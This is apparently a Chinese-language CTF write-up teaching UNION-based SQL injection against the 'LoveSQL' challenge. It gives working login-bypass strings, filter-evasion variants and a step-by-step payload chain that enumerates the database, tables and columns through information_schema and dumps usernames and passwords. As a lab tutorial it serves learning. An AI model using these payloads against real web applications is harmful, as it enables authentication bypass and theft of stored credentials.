(SQL注入学习)联合查询注入(UNION-Based)

**摘要:**本题主要考查对联合查询注入的实战使用方法。


目录

一、题目详情

二、解题思路及原理

1、登录绕过

2、判断注入类型

(1)判断字符型还是数字型

(2)判断回显位置

3、有回显的联合查询注入(Union-Based)

(1)获取当前数据库名和用户名

(2)获取所有表名

(3)获取指定表的所有列名

(4)提取账号密码


一、题目详情

题目来源: CTF²中的"极客大挑战 2019LoveSQL"

靶机环境: 启动靶机,进入靶机链接


二、解题思路及原理

1、登录绕过

看到登录框或查询框,先用万能密码测试看看。

a、基础万能密码

  • 用户名 :1' or 1=1# (或 admin' or 1=1#)

  • 密码 :任意数字(如 123)

  • 原理:我们写的sql语句是直接插入到【where username='万能密码'】,由于有引号闭合所以要写插入语句的时候要注意引号。php会自动补全其他sql语句然后放到数据库里执行,故我们只需要写相应主要是sql语句来实现我们的目的。

    SELECT * FROM users WHERE username = '1' OR 1=1#' AND password = '123'

1=1 恒真,# 注释掉后面所有东西。因为 '1'='1' 永远为真,所以 WHERE 条件对整个表都成立,查询会返回 users 表里的所有行。

b、碰到过滤情况

复制代码
闭合引号并注释:

用户名:admin'--
密码:任意
原理:-- 也是 SQL 注释符(注意 MySQL 中 -- 后面必须跟一个空格)。适用于 # 被过滤的情况。

过滤了空格:

用 /**/ 代替空格:1'/**/or/**/1=1#
用 + 代替空格(URL 编码中):1'+or+1=1#
用括号绕过:1'||1=1# (针对特定数据库)

括号闭合绕过(针对 WHERE (username='xxx') 结构):

用户名:1') or ('1'='1
密码:任意
原理:WHERE (username='1') or ('1'='1') AND password='123'

输入万能密码:

结果如下:

2、判断注入类型

**适用情况:**不知道是数字型还是字符型,不知道有没有回显。

  • 数字型:你输入的东西直接就是 SQL 的一部分,不用管引号。

  • 字符型 :你必须先补一个引号把前面的引号闭合掉,才能继续注入。否则你的 payload 会被当成字符串内容,不生效。

(1)判断字符型还是数字型

  • 输入 1',页面正常--> 字符型注入(存在单引号闭合问题)。

  • 输入 1,页面正常--> 数字型注入(不需要单引号闭合)。

**PS:**看上面两个图片,输入的万能密码带有引号看到页面正常,可以判断是字符型注入。

(2)判断回显位置

通过上面得到的那个好像flag的数据,但是测试了发现不对,但可以判断是可以sql注入的而且输出的东西可以知道它会显示数据库查询结果(回显:你发出去的请求,服务器处理完之后,把结果"显示"回给你了。)

回显 = 你注入产生的结果,能不能在网页上直接看到。

有回显 → 用 UNION / 报错注入,直接拿数据。

无回显 → 只能盲注,靠页面反应一点点猜。

由于界面没有报错而是返回正确数据库查询结果,因此采用UNION注入。但我们还得先确定回显位置。

回显位置 = 页面上能显示注入结果的那个"坑"。

先数清有几列,再用 1,2,3 试出哪个坑能显示,最后把要查的数据塞进那个坑。

判断方式:

(a)判断有多少列

输入 1' order by 3#,页面正常;输入 1' order by 4#,页面报错 -> 说明当前表有 3 列

注:猜测当前查询结果集有多少列 ,当数字超过实际列数时,数据库会报错(如 Unknown column 'N' in 'order by'),从而推断出列数。

**原理:**假设原始 SQL 是:

复制代码
SELECT id, username, password FROM users WHERE id = '1' ORDER BY id DESC

把参数改成 1' order by 3 #,语句变成:

复制代码
SELECT id, username, password FROM users WHERE id = '1' order by 3 # DESC

# 把后面的 DESC 注释掉,order by 3 正常执行。如果 order by 4 报错,就说明表里有 3 列。

(b)判断回显位在哪

输入 1' union select 1,2,3#,观察页面上哪个数字被替换成了回显位(比如页面原本显示标题的地方变成了 2,这里的 2 不是数字本身有意义,而是"第 2 列是回显位"的标志。你写进第 2 列的什么内容,页面就会显示什么。),后面把敏感函数/字段塞到第 2 列就能读到数据。

传入 1' union select 1,2,3#:

复制代码
SELECT id, username, password FROM users WHERE id = '1' union select 1,2,3#
  • '1' 闭合了原字符串

  • union select 1,2,3 追加了一个联合查询,返回一行 (1, 2, 3)

  • # 注释掉尾部

测试如下:

(a)判断有多少列

输入 1' order by 3#

页面正常

输入 1' order by 4#

页面报错

故判断为返回的是3列

(b)判断回显位在哪

由此可知回显位是第2位和第3位

3、有回显的联合查询注入(Union-Based)

根据上面的判断,接下来我们就只需要让第2位和第3位上去使用函数或字段去获取数据了。

(1)获取当前数据库名和用户名

复制代码
' union select 1,database(),user()#

测试如下:

获取到数据库名为geek,用户名为root@localhost

(2)获取所有表名

复制代码
' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()#
注:group_concat可以把多行结果拼成一行,方便显示,如果不使用的话,那么只会出现第一张表。(如果有多张表的话,后面的表不显示出来)

说明如下:

片段 作用
' 闭合前面的字符串
union select 1, ..., 3 追加一行结果,占满 3 列
group_concat(table_name) 把多行表名拼成一个字符串
from information_schema.tables 查系统表(存所有表名的地方)
where table_schema = database() 只查当前数据库的表
# 注释掉尾部

测试如下:

获得表名l0ve1ysq1

(3)获取指定表的所有列名

复制代码
' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='l0ve1ysq1'#

这里就不需要再做解释了,上面已经解释过了。

测试如下:

由此可以字段为3个为"id,username,password"

(4)提取账号密码

复制代码
' union select 1,group_concat(username,0x3a,password),3 from l0ve1ysq1#

注:0x3a 是十六进制的冒号,用于分隔用户名和密码(如:admin:123),不然账号和密码就在一起显示了(如:admin123)。为什么不用':',因为引号经常被过滤。如果不会过滤可以用":"

测试结果如下:

好了,可以明确看到flag了,终于拿到了!

相关推荐
欣欣之王来了1 小时前
5G的行业应用:工业互联网、车联网、智慧医疗中的网络支撑
网络·学习·计算机网络·安全·教程
小小龙学IT1 小时前
Go 语言 database/sql 标准库深度解析:从连接池到驱动抽象
数据库·sql·golang
dtq04241 小时前
数据结构 - 树的概念
c语言·数据结构·学习·算法
Seraphina361 小时前
SQL注入(一)
数据库·经验分享·笔记·sql·网络安全
inferno2 小时前
SVN学习笔记(一)
笔记·学习·svn
传奇开心果编程2 小时前
【ArkUI提高练中学】第7课:性能调优与稳定性治理
学习·ui·华为·harmonyos
艾莉丝努力练剑2 小时前
【QT】系统相关:多线程QThread基础
开发语言·网络·c++·qt·学习·大模型
sunshine22 girl2 小时前
Java学习五 面向对象高级5 内部类4-匿名内部类(重点)
java·学习
妄汐霜2 小时前
SSE,RocketMQ,MQTT不同之处
笔记·学习·rocketmq